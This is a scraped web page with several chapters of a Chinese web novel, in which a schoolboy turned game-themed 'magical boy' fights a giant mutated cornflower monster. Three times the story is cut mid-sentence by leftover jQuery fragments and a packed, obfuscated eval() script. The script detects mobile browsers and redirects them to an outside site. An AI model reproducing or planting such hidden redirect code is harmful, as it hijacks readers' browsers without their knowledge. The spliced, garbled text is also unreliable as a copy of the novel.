$(''.inform'').remove(); $(''#content'').append('' 应该是从他变身那个时候开始算的,也就是说,之前变身的时候这个精灵一直不说话大概率并不是因为它是哑巴,纯粹是……饿的? 真是离谱他妈给离谱开门,离谱到家了! 而且这个充能是只需要放着就可以吗? 没有别的加速方式吗? 回到房间里的罗乐安不甘心地摆弄着游戏机挂坠,想要从上面找到个快充渠道,可惜连个USB口都没有。 真的是纯太阳能充能吗? 也太过环保了吧! 然而任他如何吐槽,游戏机都没有再显示其他内容,到后面甚至又黑了屏,像是被他烦“死”了。 于是,他能做的就只有耐心等待。 但这也正是最大的问题所在。 因为罗乐安,从小就不是一个有耐心的孩子。 这也就导致他白天在温朗的监督下,好歹还能学进去点儿东西,然后到了晚上,他便在自己房间里盯着挂坠“打坐”,时不时扔一扔、戳一戳,大有想靠意念加快其充能速度的意思。 其实如果只是这样,他的成绩还是能保持之前的水平,可架不住“日有所思,夜有所梦”,执念太深,导致他一晚上能醒个四五次,几乎是每隔一个多小时就醒一次,醒了就重复之前的“盯梢”工作,挺不住了就睡一会儿,然后又醒。 如此重复了三天四夜,黑眼圈一天比一天深,记忆力和专注力也一天比一天差。 这种状态参加小考,成绩不降才怪了。 罗乐安因为回顾自己被坑货精灵支配的经历而失神,双目迷离,乍一看像是睁着眼睛睡着了,这让不了解内情的温朗很头疼。 其实他对罗乐安的要求并不高,也并不会因为对方的成绩平平就减少对他的喜欢,但是他也舍不得对方浪费自己的能力,明明有能力可以考一个更好的大学,如果只是因为贪玩就放弃,真的太可惜了。 只是这到底还是自己的想法,对方如果真的无意在学习,他也没有立场和资格勉强。 想到这里,他伸出手指,轻轻弹了弹罗乐安光洁的额头。 “你这几天是不是通宵偷偷打游戏了?” “当然没有!” 后者吃痛回神,就听到温朗这话,心中不觉大呼冤枉,“我游戏已经断签到三天了,不信我找给你看!” 听到罗乐安真情实感的哀嚎,温朗叹了口气,按住了对方翻手机的手。 “乐乐,你要是真的不想补习,我可以跟胡阿姨说,明天起就不补了,她不生气的时候应该还是挺好说话的。” “真的吗?!” 罗乐安闻言,一双小鹿眼惊喜地瞪圆,正想点头应下,却在看到温朗的脸后,犹豫了。 尽管对方掩饰得很好,可他还是看到了那张温柔笑颜后隐隐的落寞。 自己连有事瞒着温朗都觉得愧疚,自然是看不得对方这副模样,只觉得心里也难受了起来。 因此,已经到了嘴边的“万岁”被他强行咽下,硬生生改成了“算了”。 “放心,我之后会好好学习的,嗯,估计这两天我的睡眠就能调整好,不会让你的辛苦白费的!” 话音刚落,就见对面人笑容里的阴霾瞬间一扫而空,整个人变得更加灿烂夺目。 “真的吗?不勉强吗?” “不、不勉强。” 捂住快被晃瞎的眼睛,罗乐安强忍着心在滴血的痛楚,含泪答应。 然后,在后天傍晚,他就后悔了自己这个决定。 10. CORNFLOWERS② 第五天。 下午五点五十四分。 距离今天补习结束还有最后六分钟。 罗乐安很激动,因为距离自己完全解锁“魔法少男”这一高贵身份,只剩下六分钟。 可惜,此刻的他并不清楚,距离他新一轮的崩溃,也只剩六分钟。 看着对面这人头顶的大毛和二毛肆意舞蹈,嘴里还哼着极其抽象难以辨认的小调,温朗并没多想,只当他是因为今天的数学小测只错了一个填空而高兴。 “胡阿姨今天是不是又不回来吃饭了?那你先别回去了,去店里吃吧,我爸最近改良了冷面配方,还新增了烤羊腿,搭在一起吃你应该喜欢。” 温朗的父母开了一家面馆,就在小区门口,十几年来因为口味优质和价格地道,深受周围居民的欢迎,而这家店也是罗乐安这些年蹭饭的第二个据点。 听到有羊腿和冷面,罗乐安头顶的大毛“腾”一下立直了,然后又很快垂落回去。 虽然听上去就很好吃,可是今天还有更重要的事情在等着他,只好下次了,呜…… “今天不行,我有别的事要做。” “嗯?” 听到他的话,温朗暂停了整理桌面的动作,眉头微不可查地轻轻一皱,又很快展平。 “你跟别人有约了吗?你们班上的同学?那个叫任穗的女生吗?你们是要去哪里吃?晚上几点回来?需要我去接你吗?” “啊……” 罗乐安想到对方会问自己要去哪儿,却没想到会追问得这么细——简直比他亲妈胡女士还要负责。 这让他又莫名产生了深深的罪恶感。 于是他只好模糊重点,顾左右而言他,“矮油~你今天怎么这么粘人呀?是不是因为不能和我一起出门,所以吃醋了呀?” “……没有。那你注意安全好好玩,作业记得写。我先带温小葵去店里了,再见!” 温朗说罢,将课本往桌上一放,径直起身离开了房间。 “啊?好哦。” 罗乐安愣在座位上,直到对方的身影从门口完全消失,才缓缓回神。 嗯? 怎么感觉哪里怪怪的。 虽然最后的结果依旧是自己想要的,但是这个过程,或者说温朗的态度,他总觉得哪里不太对。 按照对方的性格,正常应该在听到他的调侃后淡然一笑,有时候遇上这人心情好,甚至还可能会顺着话茬往下说,配合自己的大小演。 反观刚刚,尽管也是笑着的,可他总觉得对方的笑容里,带着火气。 真奇怪。 谁惹他生气了? 坐那儿想了半天,罗乐安也没想明白,倒是六点的闹钟响起,他猛地反应过来,顿时也顾不上解析学霸竹马的复杂心理了,抄起书包就往阳台跑,熟练地垫脚起跳,翻过栏杆,前后不过十秒钟便已回到了他自己的房间。 这些天胡女士天天在家,就算是出门拍摄,也都是上午,下午就回来了,跟他的补习时间完美重合,和温朗的“监控”无缝衔接。 所以他要趁着那个追赶夕阳的单主硬控胡女士的这段时间,好好享受难得的自由时光。 先来变个身吧,这次他要用家里的镜子好好看看自己华丽的模样~ 然后,他掏出随身携带的挂坠,定睛一看,笑容凝滞。 【能量不足,仅可变身一次,请谨慎选择时机。】 Shit! *的!! 我[哔——]你[哔——]的!!! 脑内的河蟹大军奔腾而过,罗乐安只能庆幸自己优先看了这个坑货精灵,而没有不管不顾地拿着变身器先变身。 鬼知道这次机会如果被浪费,下次又需要多长时间来充能! emmm…… 应该还有下次的吧? 这种关键问题,一定得趁着这只精灵还有能量的时候问清楚。 “喂喂,”他敲了敲游戏机挂坠,“我说,你醒着吧?” 听到他的话,挂坠没显示出其他消息,反倒是飞快地黑屏了。 罗乐安:“……” 画蛇添足了吧,这不恰恰说明你醒着嘛!!! “我知道你现在的能量足够和我交流,不要再做无谓的抵抗了,我问什么你答什么,老实交代,否则我就把你扔进马桶!” 威胁的话说完,他静静等待了大概一分钟,游戏机黑掉的屏幕终于再次亮起。 【。】 唔……这种语言习惯,交流起来应该不会太费劲。 如果顺利的话,罗乐安如是想。 “那我先问你最重要的——你的能量要怎么才能充满啊!” 这个问题问完,他又等了好久也没等来回答,只不过这次屏幕一直没有再暗下去,他姑且相信对方是在组织语言。 终于,在他喝掉半瓶冰雪碧后,屏幕上出现了新的内容。 可是也只有四个字。 【打败谵蘖。】 “……” 这个主线任务可真是简洁明了啊。 可光是这四个字根本解答不了他心中层层叠叠的疑惑,而且看完之后,他的疑惑又多了一层。 于是,“问题迫击炮”没忍住,开始发射了。 “怎么当魔法少男还得认生僻字啊……这俩字念啥?等我先查查——zhānniè,所以我的任务就是打败这个叫谵蘖的东西是吗?它们从哪里来的?长什么样?有什么特征?你能知道在哪里可以找到它们吗?” 【……】 “还有啊,你到底是怎么选中我的呢?是因为我天资聪颖天赋异禀天纵奇才吗?而且动漫里魔法少女一般都是小团体,至少也是两个人,所以我是不是还有其他小伙伴啊?” 【……】 “对了,你又是从哪里来的呢?你的国家是被这个叫谵蘖的怪物袭击所以派你出来求助的吗?但是正常来说都会派一个能说话的动物吧?难不成你的国家都是机械?” 【……】 最终,除了一开始的那四个字,这个哑巴精灵再没给出任何信息。 倒不是又要罢工,纯粹是被那些铺天盖地的问题混乱到死机。 还好这次死机是临时的,到了晚上十一点半,胡女士已经完成拍摄回来,正在房间里修片子,化身为“望坠石”的罗乐安终于等来了回应。 【一个完整问题,一个完整回答。】 “……” 突然被迫卑微。 算了,他不跟哑巴计较。 “你有谵蘖的探测雷达之类的功能吗?这样我就能精准定位精准打击,效率翻倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952556|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 【此功能需要升级,请尽快收集谵蘖的异常能量解锁。】 完喽~ 看完消息的罗乐安一个后仰倒在床上,脸上浮现出了道心破碎的笑容。 总觉得,相比于成为一个正式的魔法少男,他考上985的可能性都变得更高了呢。 因为那个叫谵蘖的怪物随机出现在他家的概率几乎为零,但是补习班就在隔壁,而最重要的,是他如今的活动范围只有这两个地方。 呜呜呜! 自由啊自由,原谅他之前没有珍惜你,以至于如今只能在每天午夜梦回的时候,让思绪自由地满世界溜达…… 等等! 想到了什么的罗乐安一个挺身翻坐了起来,原本仿佛看淡一切、看破红尘的麻木的脸,重新染上兴奋灿烂的笑容。 对啊! 还有晚上,虽然触发事件的概率会比白天低一些,但到底也比干等着强。 想到这里,他这个在除去学习以外的所有领域都非——常有行动力的人,立马从床上蹦了起来,落地后却又马上收敛了大开大合的动作,蹑手蹑脚地蹭到门前,缓缓按下门把手。 胡女士是晚上九点半左右回来的,到家之后难得想要加班,冲完澡叼着袋面包就进了卧室,花了将近两个小时过了一遍今天的拍摄成果,挑选可用的素材。 确定没有遗漏后,她起身去了趟卫生间,之后脸上顶着面膜,一边伸着懒腰,一边往卧室走。 结果刚出卫生间,伸长的胳膊还没放下来呢,就瞧见斜对面那间卧室的门被从里面缓缓拉开,紧接着,一个毛绒绒的、顶着两根毛的圆脑袋,从门缝里猛地探了出来。 嗬—— 两个人双双倒吸了一大口凉气。 母子半夜相见,相互吓个半死。 “妈!”罗乐安按着因为仰头太快而有点抽筋的脖颈,疼得眼泪都快飚出来了,“你能不能不要在大半夜敷面膜啊!超级超级超级吓人啊喂!!!” “你还好意思说我!” 面膜差点被甩地上的胡女士也是一副心有余悸的模样,“你在自己家干嘛跟做贼一样啊!是不是又想做什么坏事?!” “我……”罗乐安心里闪过一丝心虚,不过很快就调整好了表情,理直气壮。 “我就想上个厕所,担心吵醒你,所以小点声——为你好你还不领情,胡女士你实在是太过分了!” 被、被倒打一耙了! 胡女士不满地鼓起了腮帮子,但是罗乐安的话的确也挑不出毛病,这让她更憋屈了。 “哼!总之你老实一点,上完厕所快点回去睡觉!” “……哦。” 罗乐安没再犟嘴,乖乖去卫生间打了下卡,又乖乖回了房间。 他就这么放弃了? 当然不。 凌晨一点半,罗乐安的手机突然开始猛烈震动起来,而就在闹铃的声音响起前,一只手果断按灭了屏幕。 然后在下一秒,原本躺在床上的人“腾”一下坐了起来,眼皮有些浮肿,却也掩盖不住眼里的精光。 十分钟后,皎洁的月光下,一个娇小的身影从居民楼窜出,直奔自行车棚而去,不久之后一辆蓝色的自行车被骑向了小区大门,很快就消失在了夜色中。 夜巡,开始。 11. CORNFLOWERS③ 其实在出发前,罗乐安就做好了白忙一晚的心理准备。 可即便如此,他心里面多少还是怀抱着幸运降临的“万一”想法。 只是现实残酷。 他骑着自行车,以小区为中心,一圈一圈巡逻着,并逐步朝着城北的中心区扩大搜索范围。 但是他骑了足足两个小时,大腿内侧早就开始泛酸,呼吸也越来越粗重,却依旧没有遇到什么怪事。 而且他的困境,不止是自己即将消失殆尽的、能够一口气跑五千米的超绝体力,还遭遇了夏天里最常见也最难防御的攻击。 “啪!啪啪啪啪!!!” 五连击后,罗乐安咧着嘴朝着拍红的掌心吹气,以为总算能消停了,却在下一秒钟,耳边又响起了“嗡嗡”声。 “啊——” 他顿时也顾不上素质了,径直在空旷的大街上嚎了出来。 “为什么恐龙都灭绝了蚊子还不灭绝啊!!!” 嚎累了,他将自行车靠在路灯旁,自己则在马路牙子上坐下,一边继续打蚊子,一边恢复体力,准备等下就往回骑。 “湖灵市的治安,未免也太好了……” 罗乐安喃喃自语着,“这一晚上街上连个活人都没有,我到底要去哪里打怪兽啊——为什么特摄片里的怪兽就那么懂事,知道要去奥特曼附近闹事儿呢?” 他的抱怨逐渐变飞,可惜此刻凌晨三点半,大街上并没有人会回答他的疑问。 咦? 好像也不是没有人。 余光瞥见一个人影自马路一侧缓缓走来,罗乐安心中升起期待,但在定睛一看后,失望叹气。 只是一个嘴里骂骂咧咧的醉汉。 不过随着那人越来越靠近,他心里逐渐升起一种不安的感觉。 倒不是感到什么异样,只是在终于遇到人后,他才意识到自己独自一人大半夜在外面游荡,是多么危险的行为。 当然,就算真的遇到危险,他也可以用变身来解决,可那样不仅会浪费掉当下唯一一次的机会,他这一晚上的宝贵时间,也全都浪费了。 想到这里,罗乐安缓缓站起身,小心翼翼地往车子的方向挪动着,准备趁着自己没被发现,先跑为敬。 虽然目测以这个醉汉现在的状态,估计看到自己都困难,可小心一点准没错。 然而还没等他跨上车离开,那边的醉汉就在距离他大概二十米不到的地方停下了。 “yue——” 刺鼻的气味混合着呕吐声,在空气中愈加强烈,危险性倒是也随之降低了。 可是罗乐安依旧决定走,实在是空气污染太强了。 只是他刚骑出去三米远,就被身后突然传来的一声怒吼给吓住了,车子晃成波浪线,全靠他脚刹撑地才没有发生侧翻事故。 “晓晓啊!!!” 身后的大喊还在继续,罗乐安叹了口气,想着不行就帮忙叫个警察,于是转回身,但见那个醉汉已经吐完,整个人躺在马路上,手里拿着个不知道是什么的东西,正举在半空深情对望呢。 “晓晓啊——你为什么要跟我分手!为什么!!! “我到底哪里做得不够好啊!你说啊—— “就因为我长得不够帅吗! “就因为我月薪只有三千吗! “你这个虚荣的女人!!! “你快回来啊呜呜呜……” “……” 罗乐安槽多无口。 且不说刚刚那些话,哪条都是正当的分手理由,就这家伙大半夜在街上哭唧尿嚎这样儿,他要是那个叫“晓晓”的姑娘,也得提分手。 要不就别管了,反正大夏天的,这么在马路上睡一觉也不会出什么事。 想到这里,他重新跨上车,准备回家补觉。 而就在他准备转身抬腿的时候,意外发生了。 那人手里的东西突然发出一团刺眼且不祥的红光,紧接着,光团从那人手里飞了出来,落到了一旁的空地上,然后,骤然膨胀。 涨到大概有三层楼那么高时,红光褪去,露出了其后的真容。 一朵花。 没错,是一朵近十米高的花。 蓝色细长的花瓣尖端带着细微的锯齿,像是被精心裁剪过一般,紧密簇拥成一个圆形的花冠。 一株清冷又倔强的美丽花朵。 如果没有长得那——么巨大,如果花心部分没有变成一张布满尖齿的巨嘴,的话。 由于变故发生得太过突然,罗乐安和那个醉汉都没有第一时间反应过来,只是抬着头,呆愣愣地看向那株异变的花朵。 直到那朵巨大而恐怖的花头突然垂下,然后一口吞掉了一旁的路灯。 “g……ggg怪物——救命啊!!!” 醉汉,不,现在应该是已经完全清醒的男人,被这一幕吓坏了,连滚带爬就跑走了。 至于罗乐安,在看到变异花朵那一瞬间,他心里同样也生出了令自己毛骨悚然的惧意,但更多的,还是让他寒毛战栗的兴奋和激动。 谵蘖。 遇上了! “变身变身~对了,变身咒语是什么来着……想起来了!上上下下左左右右BABA——Aether连接,L-R召唤!” 蓝光漫开,蓝光散尽。 一个穿着蕾丝小礼服、南瓜裤和斗篷的挺拔身影出现在路中央,清秀又带着些娇俏,正是魔法少男版的罗乐安。 唔…… 由于废物精灵不给力,他至今都不知道自己魔法使的马甲叫什么名字,所以暂时还是只能以原名称呼。 当然,这不是重点。 重点和之前一样,是怎么战斗。 “喂喂!” 他一边跳开躲避变异花朵的头槌攻击,一边狠命地拍打胸前的游戏手柄变身器。 “这家伙怎么看都不是我用电线就能制服得了吧!我的技能是什么?或者说,有武器也可以啊!” 只能说,五天的时间没有白等,这一次废物精灵终于不是死的了。 尽管还是没有说话,可没有什么比直接用行动表示更有效率的方式了。 手柄变身器突然向前射出两道光,分别飞到罗乐安的两只手中,后者只觉得掌心一重,举起手来,就见手里多了一副手柄。 一副分体手柄。 “又是手柄?还真的是游戏主题的魔法使吗?” 习惯性发了两句吐槽,他同时向后翻了个两个后手翻,避开了变异花的又一记攻击。 “所以,这玩意儿要怎么用啊?” 他退到变异花的攻击范围外,低头仔细研究起这对手柄。 至于安全问题,他倒是不怎么担心,那株变异花虽然长得吓人,但似乎无法移动,只能靠大脑袋砸或者大嘴巴吞,攻击范围有限,伤不到他,顶多就是附近的路灯和天线什么的会遭殃。 只是要怎么彻底解决,还得好好想想。 对于他的疑惑,废物精灵依旧没有出声,不过罗乐安也不是那种事事都依赖别人的性格,特别是他格外擅长的游戏领域,自己琢磨的效率比看说明书更高。 因此,在拿到手柄后,他的第一反应就是去按自己非常熟悉的那几个按键。 然后,手柄出现了新的变化,右手的手柄上方投射出了一把剑,左手则是盾。 剑盾? 动作游戏? 不对,重点是——又肉搏啊! 这画风是不是偏的太厉害了? 罗乐安一肚子牢骚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968189|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他知道现在就算嘚啵得再多,也得不到回应。 所以他决定直接上。 将盾牌举到身前,他重新靠近变异花朵,在花头重重砸下来后,没有像之前那样向后或者是两旁跳跃躲避,反倒是向着斜上方一跳,落到了变异花带着绒毛的的茎叶上。 稳住身形后他并没有停留,而是把灰绿色的针型叶片当成跳板,继续向上跃去。 直到跳到花头附近,眼瞧着布满尖牙的花心朝着自己怼过来,罗乐安左手按住手柄的肩键,盾牌瞬间变大,将整个花头顶开,而他自己则是趁机再次起跳,同时在半空中举起右手的剑,狠狠朝着花托与花梗的衔接处砍去。 “吃我这招——嗬!” 气势很足。 然而结果非常不尽如人意。 “哎呦……” 他没料到变异花除了外形变大,强度也和普通的植物大相径庭,手上的剑根本没有按照预想将花头砍断,只是划破了表皮,至于他本人,则是被乱甩的花梗弹到了远处。 还好那里有栋楼,他借着外墙的反弹力缓冲,安全落了地。 “我说这也太犯规了吧……” 罗乐安原地喘息着,顺势恢复体力,“这种强度,我砍一晚上也搞不定吧!又不是拼夕夕!” 本以为这次的吐槽会和之前一样,得不到任何回应,没成想他的话音刚落,一个声音就在他胸前响起。 「识别到异常能量。开始吸收能量。」 从音色到语气,都跟那天罗乐安在神秘空间里听到的一样。 不过他此刻没工夫寒暄,因为巨大又锋利的花头再一次砸下来,他慌忙往旁边一跳,却在扭身准备继续后撤的时候,微微怔愣。 他看到有一丝丝像雾气一般粘稠的红色光线,从刚刚被自己砍中的伤口处弥漫开来。 怪不得这株变异植物出现后过了这么久,废物精灵才终于有了反应,想必这就是它之前提到的异常能量了。 “我说,”罗乐安一边挥剑,在花朵根部再添新伤,一边问道,“是不是你吸收的能量越多,我就会越强啊?能量收集到一定程度,应该就能把这朵花干掉了吧?” 这次,废物精灵没再拖延和打哑谜,回答得很痛快。 「是的。」 “行吧,虽然我砍不死这玩意儿,但是它也别想在我这里好过!” 他用剑指着不远处的巨大“食人花”,极为中二地发表着战前宣言。 后者有口不能言,只好以行动表示应战,硕大的花头再次俯冲下来。 前者没再起跳躲避,而是用盾牌格挡,右手顺势挥剑。 这次砍伤的是如锯齿一般的花瓣。 就这样,双方一来一回打得不可开交。 罗乐安因为有盾牌的保护,并没有受伤,反观那朵花,从头到脚布满了各种伤口,有砍有刮还有刺,凄凄惨惨,加上周身越来越多的红雾,整朵花看起来血迹斑斑的。 不过也只是看上去可怜,实际上的战斗力并没有减弱多少。 “已经……已经快二十分钟了,还没好吗?!” 连续不断的跳跃与劈砍,让本就体力不足的罗乐安更加乏累,额头沁出汗水,两只手也酸软得要命。 听到他的问题,胸前没再传来精灵的声音,只是又射出了一道蓝光。 而这次光束的落点,是他的额头。 随着光束射入,罗乐安头脑突然变得清明,同时他还感到意识里多了什么东西。 似乎是一道指令。 本能驱使着他按照指令行事,于是他松开按键,举起双手,将恢复原样的手柄左右并排合在一起,并同时按下了左右两边的肩键,嘴里高呼: “L-R同步!域外之物,消散!” 12. CORNFLOWERS④ “L-R同步!域外之物,消散!” 随着罗乐安的话音落下,手柄释放出了一个巨大的蓝色光球,迅速飞向已经显露疲态的变异花朵,将其整个笼罩其中。 而被光球吞掉的花,以肉眼可见的速度开始萎靡。 “袜!” 罗乐安右手在额前搭凉棚,激动地欣赏着自己新魔法的效果。 天啦噜,他终于使出魔法了,不再是一个靠肉搏战斗的偏科法师了~ 只是看着看着,他又产生了一丢丢的不满。 “这未免也太轻松了吧?那我之前忙活那么久是为了什么啊!” 他噘着嘴,总觉得自己自己是被诓骗了。 「为了削弱谵蘖,同时也要积攒能够释放净化魔法的能量,所以前期的战斗是必须的。」 大概是能量充足,精灵也不再“沉默是金”,只不过音色和语气还是那个丧兮兮的风格。 但是罗乐安此刻却并没有心思调侃对方的“有问必答”,因为就在他刚刚抱怨完的时候,突然听到了一个声音。 声音不是来自外界,而是直接来自他心里。 【为什么要离开我……】 【是因为我不够好吗?】 【求你回来……】 【回来……回来!回来啊——】 声音越来越痛苦,也越来越尖利,到最后甚至已经听不清在说什么,只剩下凄厉的哭嚎。 罗乐安四处张望,想要寻找声音的主人,可周围除了那株正在消亡的谵蘖,再没有其他人或者活物。 等下! 他突然想通,猛地抬头看向面前已经开始凋谢的变异花朵。 虽然完全看不出是什么花,但那也是植物,而自己刚好就有能够听懂植物情绪的能力。 只是在这之前,他还从未听到过如此清晰且激烈的表达。 是因为他的能力增强了吗? 还是说有其他原因? 没人能解答罗乐安的疑惑,而声音的主人,也在他思索的这短短几秒钟内,彻底凋零。 不过在消失前,那个声音突然不再疯狂,而是留下了最后一句有些哀伤的话。 【遗忘如此漫长。】 伴随着谵蘖的消逝,蓝色的光球也渐渐褪色,消散在暗夜中,只留下丝丝缕缕的红雾,也慢慢被变身器吸收了。 街道恢复了安静,却并没有恢复原样。 马路上到处是被花冠怼出来的深坑,周围的路灯也无一幸免全都“秃”了,还有几辆停在这附近的车,也被掉落的砖石砸得坑坑洼洼,还好里面没人,应该也没人受伤。 “我说……” 回过神来的罗乐安,还未来得及询问刚刚那个声音,就被眼前的景象吓了一跳。 “有恢复的方法吗?放着不管的话,天亮之后会把大家吓坏的。” 等了大概一分钟也没人回答,他叹了口气,知道了答案。 算了,这毕竟也是为了守护世界的和平,一点点牺牲还是有必要的。 找好理由,一身轻松。 罗乐安没有负担地走向自己还□□的自行车,准备等下抗着跳回去,应该比骑回去轻松。 然而在途径战场中央的时候,他瞥见地上有个幽幽闪烁的光点,遂停下脚步,弯腰查看。 碎裂的路面上静静躺着两样东西。 左边是一个已经破了的许愿瓶,残存的玻璃碎片上,沾着几片已经脱水干燥的蓝色花瓣。 右边则是一个细长纺锤状的东西,大概一个拳头的大小,哑光的浅褐色,一端还带着灰白色的绒毛。 有点像蒲公英,但是绒毛要更短更稀疏一些。 应该,是一粒种子。 而且大概率,就是那株变异花朵的种子。 可是,那到底是什么花呢? 别说因为异变导致面目全非,就算是原版的花朵放到他眼前,他都不见得认识。 “到底是什么呢?而且为什么会留下一粒种子呢?” 罗乐安躺在床上,右手举着装着种子的密封袋,扭头问放在枕边的游戏机挂坠。 “丧丧,你说这粒种子会不会又长出一棵那个叫‘谵蘖’的东西啊?” “丧丧”就是那个集齐了天猫、智障、废物、坑货和哑巴五个名字的魔法使精灵。 当然了,人家的原名并不是上述六个里的任何一个,而是叫“引导员404”。 因为太像随机生成的名字,还太长不好念,光叫“404”罗乐安又觉得敷衍难听,于是就在对方“可以叫我引导员”的声音里,给其起了一个全新的昵称。 尽管“丧丧”也说不上有多好听,但绝对符合人设——这位来自Ω星系的、原本是和几个同伴一起去α星系求助、结果中途落单迷路来到地球的倒霉精灵,走的是“丧气风”的路线。 它总是一副没有干劲的模样,除了说话的语气无精打采,对工作更是不存在丝毫的热情,能说一个字绝对不说第二个字,和普通的打工牛马没什么区别。 就像现在,在听到罗乐安的问题后,丧丧只没有什么情绪地回了他两个字,「不会。」 完全没有想要解释的意思。 好在经过了两天半的磨合,前者已经习惯了。 不习惯也不行,像是上面关于丧丧如何来到地球,包括为什么会选中他作为搭档的这些信息,都是靠他用这种一句一句追问的方式问出来的,早就没了脾气。 于是他非常娴熟地问出了下半句,“为什么?” 「我之前说过,『谵蘖』的本质是植物被异常能量寄生产生异变,并不具备遗传性。而且这粒种子是被你净化后出现的,有了抗体,不会变成谵蘖。」 “那就好~不过我还有个问题。” 罗乐安一边说,一边从床上坐起来。 三天前,他打败那个谵蘖回到家后不久就发烧了。 好处是补习暂停了,坏处则是自己被爱子心切的胡女士堵在床上,硬生生躺了两整天,躺得腿都软了。 再躺下去,他都担心瘫痪。 因此一听到胡女士外出的关门声,他第一时间就逃离了“牢笼”,走到窗边打开窗户。 “地球为什么会出现“谵蘖”啊?明明之前一直很和平的……是你把它们带过来的吗?” 「不是。」 丧丧依旧是标准的前半段回答,而罗乐安在深吸了一口灼热的代表着“自由”的空气后,冷静下来,果断关上了窗户。 果然,没有空调的自由,不是真正的自由。 “那到底是为什么?” 他拿起丧丧出了卧室,从冰箱里掏出了一罐久违了的冰雪碧,坐到沙发上庆祝自己“重获新生”。 「我不清楚。」 大概也是被罗乐安烦怕了,丧丧偶尔也会不用追问自己就主动回答下半句。 「我说过,我选择这颗星球,是因为感受到了谵蘖和能够克制它们的能量,而能量就来自你身上。至于原因,我不知道。」 “唉……” 罗乐安叹了口气,到底还是没说那句“要你何用”。 “话说,你确定我这个‘战斗完就发烧’的问题仅此一次,不会再有了吧?” 「不会,这只是你的身体和能量磨合的副作用,磨合好了自然就不会再有不良反应。」 “那就好~这样就算那个谵蘖来了也不用怕,反正有我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977108|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个正义的使者,L-RAether在,哦吼吼吼~~~” 说罢,他用手比出手枪的姿势,朝着大门射了一发“空气狙击”。 然后,他就听到门外传来了敲门声,惊得他像只兔子一般,一个大跳就蹦回了卧室。 “谁、谁谁谁、谁啊?” 问完他还不忘咳嗽两声,以示虚弱。 “是我,乐乐。” 温朗的声音自门外传来,“我舅舅寄了桃子来,我过来给你跟胡阿姨送点儿。” 知道不是自己老妈,罗乐安长舒了口气,趿拉着拖鞋去开门。 “你不生我气啦?” 那天他俩不欢而散,紧接着就是他生病,补习暂停,两个人也两三天没见了。 听到他的话,温朗换鞋的动作一顿,继而说道:“我从来没有跟你生气,那天我只是有点累了。” “哎呦~”罗乐安拍拍胸脯,“你早说嘛,害我那么担心。话说你不打招呼就跑过来,真是吓死我了,我还以为是胡女士呢。” “胡阿姨那么温柔漂亮,你怎么总是那么怕她?” 将一袋桃子放到厨房架子上,温朗有些失笑地问道。 凑过来帮忙的罗乐安,闻言撇了撇嘴,一脸“你在说什么胡话”的表情。 “漂亮我承认,温柔???胡女士的字典里就没有过这俩字儿!” “哦?那你说说看,我到底哪、里、不温柔了啊?” “哪里都不啊!阿朗你是乖孩子,所以从来没体会过胡女士的……胡女士?” 罗乐安终于反应过来,惊慌地回过身,就见自己老妈正靠着大门,一手转着钥匙,冷笑着看向他。 “哎呀!这不是,这不是温柔漂亮青春美好的胡之桃女士吗?您怎么刚出门就回来了呀?” “少来这套!” 对于他的阿谀奉承,胡女士并不买账,“既然你的病好了,那下午就恢复补课,没问题吧,小朗?” 看着自己面前相似度极高、一双泪涟涟一双火蹭蹭的两双眼睛,温朗深吸了口气,选择了一个折中的方式。 “没问题,那我下午带乐乐去图书馆好了。” 拥有一定程度自由的补习,总好过憋死家中。 罗乐安也是这么想的,因此他不仅没有埋怨温朗,反而整个下午都很认真,可以说是心无旁骛地在学习。 当然,除了感激,也夹了点别的私心在里面。 “对了,阿朗。” 走出图书馆,罗乐安掏出手机递到温朗眼前,屏幕上赫然是那个未知种子的照片。 “这个你认识吗?知道是哪种植物的种子吗?” 虽然不确定弄清楚种子的身份到底有什么用,可他总觉得这是个事儿,自己想不通,便干脆找“外挂”。 “嗯?” 第一次接到这种提问委托,温朗也有些诧异,“这是哪儿来的?你刚刚在图书馆没有查吗?” “我倒是想查,但是根本无从查起。我也问过AI,但是它告诉我这是蒲公英——怎么看都不太对嘛,所以我就只好来问你了,你这个大学霸见多识广,肯定知道吧?” “唔……” 温朗仔细看了看照片,最后不太确定地开口。 “我也不太清楚具体是什么,但是从外观看,应该是菊科植物的种子,这种绒毛特征蛮典型的。” “是哦……那我明天再来图书馆查查看好了,可是菊科的植物应该种类很多吧,也不知道要查多久……” “这个,是矢车菊的种子哦。” 一个慢条斯理的声音,突然打断了罗乐安的抱怨。 他转过头,一双有些狭长的凤眼映入眼帘。 13. CORNFLOWERS⑤ “这个是矢车菊的种子,不过看起来比一般的要更大一些。” 